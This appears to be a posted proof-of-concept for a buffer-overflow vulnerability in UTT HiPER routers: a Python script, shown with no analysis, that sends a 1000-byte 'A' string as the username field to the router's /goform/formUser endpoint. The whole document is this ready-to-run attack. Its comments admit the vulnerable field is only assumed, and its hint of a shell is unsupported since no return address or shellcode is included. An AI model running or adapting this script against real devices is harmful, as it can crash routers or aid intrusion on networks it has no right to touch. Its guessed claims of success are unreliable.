CVE-2026-7512 UTT HiPER路由器缓冲区溢出漏洞

import requests # Target configuration target_ip = "192.168.1.1" target_url = f"http://{target_ip}/goform/formUser" # Malicious payload to trigger buffer overflow # Adjust the length and pattern based on specific firmware analysis # Payload structure: Padding + Ret Address + Shellcode/Nop Sled buffer_size = 1000 payload = b"A" * buffer_size def send_exploit(): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } # The vulnerable parameter needs to be identified (e.g., username, password) # Assuming 'username' is the vulnerable parameter based on formUser context data = { "username": payload, "password": "admin" } try: print(f"Sending exploit to {target_url}...") response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") # If the service crashes or returns unexpected data, exploit might be successful if response.status_code == 200 or response.status_code == 500: print("Payload sent. Check device status for crash or shell.") except requests.exceptions.RequestException as e: print(f"Connection error (device may have crashed): {e}") if __name__ == "__main__": send_exploit()